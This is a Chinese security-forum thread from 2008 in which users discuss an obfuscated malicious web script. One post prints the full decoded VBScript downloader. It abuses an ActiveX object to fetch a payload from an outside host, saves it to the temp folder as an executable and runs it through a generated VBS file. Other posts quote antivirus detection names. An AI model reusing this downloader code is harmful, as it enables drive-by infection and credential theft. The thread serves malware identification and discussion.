第一次遇到这样的网马的加密算法!

BING126

McAfee   c.jpg   Downloader-BIS

xqiafl

Dim pMLmUlXbCcnhzwToOGCNetPDMgeIKqKQYNsCDBGdgqVihxCEvVkcNuwRtyMTrFeeGPbDXCasSsExQyWGQWSeuKRTcAuYaHNgodTFFETtAIYyxOEHyXBfdLzUKBPZIIuvWfrUnSqTUTGASPmWgmiuLMhgsQxaqXdwFtaVVUZKDKoPBRUXPnRvfbQkbSfpYYMxZvIWEVHLlZWQigDYwDyLOcxzTTOrHZtNHwclmkpaTaFSRhknfETMwegBdivGbocOpML On Error Resume Next aVKeV="http://h96c.info/c.jpg" Set zOY = document.createElement("object") zOY.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" OOBnPl="Microsoft.XMLHTTp" Set WkS = zOY.CreateObject(OOBnPl,"") WkS.Open "GET", aVKeV, False WkS.Send ExeName="QkbSfpYYMxZvIWEVHLlZWQigDYwDyLOcxzTTO.com" VbsName="rHZtNHwclmkpaTaFSRhknfETMwegBdivGbocO.vbs" Set FPI = zOY.createobject("Scripting.FileSystemObject","") Set sTmp = FPI.GetSpecialFolder(2) ExeName=FPI.BuildPath(sTmp,ExeName) VbsName=FPI.BuildPath(sTmp,VbsName) AA="Ad" AB="odb.stream" AdM=AA&AB Set Dpt = zOY.createobject(AdM,"") Dpt.type=1 Dpt.Open Dpt.Write WkS.ResponseBody Dpt.Savetofile ExeName,2 Dpt.Close Dpt.Type=2 Dpt.Open Dpt.WriteText "on error resume next"&vbCrLf&"Set Shell = CreateObject(""Wsc"" & ""rip"" & ""t.Shell"")"&vbCrLf&"Shell.Run ("""&ExeName&""")"&vbCrLf&"Set Shell = Nothing" Dpt.Savetofile VbsName,2 Dpt.Close sRun="Shell.Appli" Set Run = zOY.createobject(sRun&"cation","") Run.ShellExecute VbsName,"","","Open",0  

06014

allinwonderi

<W32/Agent.L.gen!Eldorado (not disinfectable, 普通)>        C:\Download Files\c.rar->c.jpg->(UPack)

e54hacker

感谢楼上的几位!

sam.to

原帖由 qianwenxiang 于 2008-8-27 15:09 发表
[http://h96c.info/c.jpg]

ACCESS DENIED
The requested URL could not be retrieved

While trying to retrieve the URL: htp://h96c.info/c.jpg

The folowing error was encountered:

    * The requested object is INFECTED. The following viruses Trojan-GameThief.Win32.OnLineGames.sxpg were found

Please contact your service provider if you feel this is incorrect.

Generated Wed Aug 27 23:20:31 2008 by Kaspersky Internet Security 7.0

tanlimo

楼上导致此页报毒........

377826

这是VBS脚本加密！不足为奇！

conan1229

又被卡巴给费了

maozi778631

费尔杀，楼上的导致这页都报